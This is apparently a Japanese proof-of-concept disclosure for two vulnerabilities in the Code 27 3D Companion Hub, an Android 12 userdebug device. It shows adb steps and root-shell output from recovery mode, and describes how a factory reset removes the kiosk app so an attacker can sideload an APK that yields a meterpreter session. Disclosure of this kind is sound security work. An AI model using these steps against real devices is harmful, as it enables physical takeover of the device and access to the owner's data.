
CVE-2026-36027 および CVE-2026-36028 の概念実証
Code 27 3D Companion Hub は、カスタム AI キャラクター("Codie")をアニメーション 3D コンパニオンとして表示する物理デスクトップデバイスです。ユーザーは任意の 3D モデルをアップロードまたは作成でき、マルチモーダル AI により、キャラクターは周囲を見て、口調やボディランゲージを読み取り、自由な会話を行うことができます。
この記事では、デバイスへの物理的アクセスを必要とする 2 つの脆弱性について説明します。どちらも以下のビルドに対して検証されており、公開時点ではパッチが適用されていません。
| 項目 | 値 |
|---|---|
| 製品 | Code 27 3D Companion Hub |
| Companion Hub UI バージョン | 1.2.0 |
| SoC / ボード | Rockchip RK3588S (rk3588s_yt921) |
| OS | Android 12 |
| ビルド ID | SQ3A.220705.003.A1 |
| 完全なフィンガープリント | rk3588s_yt921-userdebug 12 SQ3A.220705.003.A1 eng.dj.20260203.134404 release-keys |
| ビルドタイプ | userdebug / release-keys |
出荷時のファームウェアは userdebug ビルドです(リカバリのバナーと ro.build.display.id で確認できます)。userdebug ビルドでは adb root を使用して adbd を root として再起動できるため、CVE-2026-36027 が存在するための主要な要因となっています。
物理的に近接した攻撃者は、Companion Hub を Android リカバリで起動し、root 権限の ADB シェル(uid=0、SELinux コンテキスト u:r:su:s0)を取得できます。デバイスには userdebug ビルドが搭載されているため、adb root で adbd を root として再起動でき、攻撃者はリカバリ環境との読み書き操作、ビルドおよびハードウェアプロパティの列挙、リカバリ機能(サイドロード、fastboot、パーティション操作)へのアクセスが可能になります。
取得したアクセスは、実行中の Android ランタイムではなく、リカバリの ramdisk 内にあります。テストでは、リカバリの Mount /system アクションが失敗し(libfs_mgr が /dev/block/by-name/system を開けなかった)、そのためシステムパーティションはこの経路では直接マウントされず、キオスクや復号化されたユーザーデータを含む起動済みユーザー環境はこのモードでは表示されません。
それでもこれは重要です。リカバリ環境への root アクセスは、永続的なデバイス状態を変更するための基盤となるからです(たとえば、パーティションへの書き込みや細工されたアップデートパッケージの適用など)。これにより、攻撃者が制御するコードが後続の通常起動で実行され、稼働中のデバイスに足場を築く可能性があります。
Mount /system に移動し、ハイライトして確定します。失敗するように見えますが、これは想定どおりで、エクスプロイトは依然として機能します。(リカバリログには、libfs_mgr が /dev/block/by-name/system を開けなかったことが示されます。)PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe devices
List of devices attached
YGKJ2601921S00193 recovery
PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe root
restarting adbd as root
timeout expired while waiting for device
PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe shell
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),1078(ext_data_rw),1079(ext_obb_rw),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid),3012(readtracefs) context=u:r:su:s0
# getprop ro.build.display.id
rk3588s_yt921-userdebug 12 SQ3A.220705.003.A1 eng.dj.20260203.134404 release-keys
# getprop ro.product.model
rk3588s_yt921
# getprop ro.build.version.release
12
# ls -la
total 840
drwxrwxrwt 33 root root 1040__bionic_open_tzdata: couldn't find any tzdata when looking for Asia/Shanghai!
1970-01-01 00:00 .
drwxrwxrwt 33 root root 1040 1970-01-01 00:00 ..
drwxr-xr-x 2 root root 40 1970-01-01 00:00 acct
drwxr-xr-x 2 root root 40 1970-01-01 00:00 apex
lrwxrwxrwx 1 root root 11 1970-01-01 00:00 bin -> /system/bin
lrwxrwxrwx 1 root root 50 1970-01-01 00:00 bugreports -> /data/user_de/0/com.android.shell/files/bugreports
drwxr-xr-x 2 root root 40 1970-01-01 00:00 cache
drwxr-xr-x 3 root root 0 1970-01-01 00:00 config
lrwxrwxrwx 1 root root 17 1970-01-01 00:00 d -> /sys/kernel/debug
drwxr-xr-x 2 root root 40 1970-01-01 00:00 data
drwxr-xr-x 2 root root 40 1970-01-01 00:00 data_mirror
drwxr-xr-x 2 root root 40 1970-01-01 00:00 debug_ramdisk
lrwxrwxrwx 1 root root 12 1970-01-01 00:00 default.prop -> prop.default
drwxr-xr-x 15 root root 1380 1970-01-01 00:00 dev
lrwxrwxrwx 1 root root 11 1970-01-01 00:00 etc -> /system/etc
lrwxrwxrwx 1 root root 16 1970-01-01 00:00 init -> /system/bin/init
-rwxr-x--- 1 root root 662 1970-01-01 00:00 init.recovery.rk30board.rc
drwxr-xr-x 2 root root 60 1970-01-01 00:00 linkerconfig
drwxr-xr-x 12 root root 4096 1970-01-01 00:00 metadata
drwxr-xr-x 8 root system 160 1970-01-01 00:00 mnt
drwxr-xr-x 2 root root 240 1970-01-01 00:00 odm
drwxr-xr-x 2 root root 60 1970-01-01 00:00 odm_dlkm
-rw-r--r-- 1 root root 0 1970-01-01 00:00 odm_file_contexts
-rw-r--r-- 1 root root 0 1970-01-01 00:00 odm_property_contexts
drwxr-xr-x 2 root root 40 1970-01-01 00:00 oem
drwxr-xr-x 3 root root 260 1970-01-01 00:00 pcba
-rw-r--r-- 1 root root 47253 1970-01-01 00:00 plat_file_contexts
-rw-r--r-- 1 root root 76958 1970-01-01 00:00 plat_property_contexts
drwxr-xr-x 2 root root 40 1970-01-01 00:00 postinstall
dr-xr-xr-x 220 root root 0 1970-01-01 00:00 proc
drwxr-xr-x 2 root root 40 1970-01-01 00:00 product
-rw-r--r-- 1 root root 0 1970-01-01 00:00 product_file_contexts
-rw-r--r-- 1 root root 0 1970-01-01 00:00 product_property_contexts
-rw-r--r-- 1 root root 14023 1970-01-01 00:00 prop.default
drwxr-xr-x 3 root root 60 1970-01-01 00:00 res
drwx------ 2 root root 40 2026-02-03 06:23 root
drwxr-xr-x 2 root root 60 1970-01-01 00:00 sbin
drwxr-xr-x 2 root root 40 1970-01-01 00:00 sdcard
drwxr-xr-x 2 root root 40 1970-01-01 00:00 second_stage_resources
-rw-r--r-- 1 root root 658375 1970-01-01 00:00 sepolicy
drwxr-xr-x 2 root root 40 1970-01-01 00:00 sideload
drwxr-x--x 2 root root 40 1970-01-01 00:00 storage
dr-xr-xr-x 14 root root 0 1970-01-01 00:00 sys
drwxr-xr-x 5 root root 100 1970-01-01 00:00 system
drwxr-xr-x 2 root root 40 1970-01-01 00:00 system_ext
-rw-r--r-- 1 root root 177 1970-01-01 00:00 system_ext_file_contexts
-rw-r--r-- 1 root root 1889 1970-01-01 00:00 system_ext_property_contexts
drwxrwxr-x 2 root shell 40 1970-01-01 00:00 tmp
drwxr-xr-x 3 root root 60 1970-01-01 00:00 vendor
drwxr-xr-x 2 root root 60 1970-01-01 00:00 vendor_dlkm
-rw-r--r-- 1 root root 25441 1970-01-01 00:00 vendor_file_contexts
-rw-r--r-- 1 root root 4395 1970-01-01 00:00 vendor_property_contexts
リカバリメニューから実行されるファクトリーリセットは、キオスクアプリケーションがインストールされている userdata パーティションを消去します。キオスクはシステムパーティションの一部ではないため、再起動時に復元されず、デバイスは標準の制限なし Android 環境(ランチャー、ウェブブラウザ、ファイルマネージャ、設定、その他のシステムアプリ)で起動します。
この制限なし環境から、攻撃者は開発者オプション / USB デバッグを再度有効にし、任意の APK をサイドロードして実行し、稼働中のオペレーティングシステム上でシェルを取得できます。テストでは、これにより非特権アプリケーションユーザー u0_a79 として実行される meterpreter セッションが生成されました。これは、リカバリ ramdisk ではなく稼働中の起動済み OS に対して実行されるため、CVE-2026-36027 のリカバリモード root シェルとは異なる権限およびデータコンテキストです。この状態で埋め込まれ実行されたコードは、通常のデバイス操作の一部として実行され、攻撃者にデバイスとそのユーザーアクセス可能なファイルシステムの対話型制御を提供します。
Wipe data/factory reset をハイライトし、ワイプを確定します。